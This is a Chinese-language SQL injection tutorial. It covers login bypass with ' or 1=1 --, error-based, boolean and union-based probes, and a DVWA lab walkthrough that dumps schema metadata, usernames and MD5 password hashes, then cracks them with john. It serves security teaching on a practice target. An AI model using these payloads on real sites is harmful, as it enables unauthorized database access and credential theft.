SQL注入
所谓SQL注入,就是通过使用POST或GET方式把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
程序存在SQL注入,追其原因,就是代码或编码的不完善
如常见的用户登陆,举个简单的例子:
1 | SELECT * FROM users WHERE user='uname' AND password='pass' |
一般情况下,通过布尔判断,只要SQL语句为真,即为登陆成功。这句SQL语句意思是查询users表中是否存在用户名为uname,密码为pass的用户,语句为真即登陆成功,语句为假即登陆失败。
若在不知道用户名和密码的情况下,我们可以将【pass】替换为【’ or 1=1 – 】
1 | SELECT * FROM users WHERE user='uname' AND password='' or 1=1 -- ' |
注:【– 】 可以用来注释掉后边的语句。
根据布尔判断,这句话就可以成真了,登陆成功
一些简单判断是否存在SQL注入的方法:
基于报错的检测方法(low)
- ‘ “ % ( )
基于布尔的检测
- 1’ and ‘1’=’1 或 1’ and ‘1
- 1’ and ‘1’=’2 或 1’ and ‘0
表列数/显示信息位于哪一列
- ‘ order by 9–+ #按查询列号
(如select * from table order by n 表示select里面的第n个字段)
select * 时表字段数=查询字段数
- ‘ order by 9–+ #按查询列号
联合查询
- ‘ union select 1,2–+
- ‘ union all select database(),2–+
(联合查询前后语句的查询字段数要相等)
下面用metasploitable中的dvwa(low)进行演示
这个提交表单作用是根据用户输入id ,返回用户的first_name、subname;
当我们不根据规则,输入一些不规范的数据,如“’”
网页报错了,并返回了信息,可以判断是MySQL的数据库,错误原因是引号无法闭合。
也可以利用布尔值判断
当输入1’ and ‘1’=’1 ,语句为真,程序执行 ;1’ and ‘1’=’2 ,语句为假,程序不执行;
基于这些判断,就可以认为存在SQL注入
现在可以猜解select中的字段个数,利用“order by”语句 可以从1开始(注意空格)
当数值到3时,网页报错 “Unknown column ‘3’ in ‘order clause’”
说明,查询的字段个数为2;
然后我们可以利用联合查询语句,查询一些有用的信息
因为union查询前后查询字段个数要相等,这里用1,2代替,1,2也可以替换成一些函数
‘ union select database(),substring_index(user(),”@”,1) –
(字符串截取substring_index(str, “分隔符”,计数))
利用hackbar构造语句提交
常用可SQL查询内容:
- DB用户:user()
- DB版本:version()
- 全局函数:@@datadir、@@hostname、@@VERSION、@@version_compile_os
- 当前库: database()
- ASCII转字符:char()
- 连接字符串:CONCAT_WS(CHAR(32,58,32),user(),database(),version())
- 计算哈希:md5()
- Mysql 数据结构
- information_schema
使用连接字符串函数查询(ascii码中,32为空格,58为冒号:)
Mysql数据结构
对表的meta data的查询需要使用information_schema.tables, table_schema是数据库的名称,table_name是具体的表名,table_type指的是表的类型
MySQL:所有的元数据都保存在一张元数据表【information_schema】
查看所有库所有表/统计库中表的数量
1 | ' union select table_name,table_schema from information_schema.tables -- |
查询所有数据库中的所有表
1 | ' union select table_schema,count(*) from information_schema.tables group by table_schema -- |
统计每个数据库中的表数量
Dvwa库中的表名
1 | ' union select table_schema,table_name from information_schema.tables where table_schema='dvwa' -- |
查询dvwa库的表
查询列名字段
1 | ' union select table_name,column_name from information_schema.columns where table_schema="dvwa" and table_name="users" -- |
查询users表中的列名字段
查询表中数据
1 | ' union select user,password from dvwa.users -- |
查询users表中的用户名、密码
到这里,用户名和密码都知道了,但是密码是加密过的,我们可以通过在线或离线的破解
可以利用一些工具对密码使用的加密方式进行判断
1 | root@kali:/# hash-identifier |
判断出来是md5哈希加密
这里用离线破解的方式
先将用户名密码保存至文件夹,格式如下
用john进行破解
1 | root@kali:/# john --format=raw-MD5 dvwa.txt |
如果出现以下错误,说明命令已经执行过了
1 | Using default input encoding: UTF-8 |
命令执行后,会在“~”家目录里生成.john/的文件夹,里面有日志和破解后的明文文件
要再执行,删除这两个文件即可